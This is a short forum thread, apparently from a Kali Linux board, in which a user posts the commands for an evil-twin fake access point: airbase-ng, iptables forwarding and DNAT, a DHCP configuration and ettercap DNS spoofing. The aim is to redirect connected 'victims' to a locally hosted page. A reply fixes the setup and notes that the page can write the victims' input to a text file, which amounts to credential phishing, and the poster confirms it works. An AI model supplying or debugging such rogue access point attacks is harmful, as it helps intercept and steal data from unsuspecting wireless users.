Results 1 to 3 of 3

Thread: My victim can't see the webpage in var/www

  1. #1
    Join Date

    My victim can't see the webpage in var/www

    I want to show a page i have designed and stored in var/www directory when someone connects to my hotspot(fake ap) by eviltwin method...
    I first create an ap by airbase-ng successfully and then assign at0 interface for it and set iptables and start dhcpd server as u c in the bottom ...

    ifconfig at0 netmask
    route add -net netmask gw
    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
    iptables --append FORWARD --in-interface at0 -j ACCEPT
    iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination
    iptables -t nat -A POSTROUTING -j MASQUERADE
    dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/ at0
    /etc/init.d/isc-dhcp-server start
    And I change the configs as u see in the bottom.

    HTML Code:
    default-lease-time 600;
    max-lease-time 7200;
    subnet netmask {
    	option subnet-mask;
    	option broadcast-address;
    	option routers;
    	option domain-name-servers;
    2-gedit /etc/ettercap/etter.dns
    * A
    And also for apache configs i attached the apache2 directory ,plz download it and examine it...

    I have set permission like the bottom:
    -sudo adduser root www-data
    -sudo chown root:www-data -R /var/www
    -sudo chmod 0755 -R /var/www
    -sudo chmod g+s -R /var/www
    and then start apache server...

    Problem: when someone connects to my fake accesspoint can't load any pages neither by entering that i have set he can't see anything...
    but in my machine by entering localhost or i can see that page I designed...

    So what can i do?

    And also I want to redirect victim to the page in var/www by every URL that he enters in his browser...Whast should i do?
    is there a problem with iptables?Or apache configs...Anyone can help me? ...I'll appreciate ur useful helps.
    Attached Files Attached Files

  2. #2
    Join Date
    Look in your /var/www/ folder and see if there is an html folder. In kali2.0 apache2 looks for the index.html file in the html folder. Furthermore for the client to input information through any php file the php file must be also in the html folder. If the index.html file is writing data to a text file you only need to show the path to that file in the index.html file.

  3. #3
    Join Date
    Tnk u really ...I moved that page and it works...

Similar Threads

  1. My victim can't see the webpage in var/www
    By rohanroyle in forum General Archive
    Replies: 0
    Last Post: 2015-09-08, 08:57
  2. How NORMALLY execute notepad.exe on victim PC?
    By ice99 in forum General Archive
    Replies: 0
    Last Post: 2014-06-13, 13:12

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts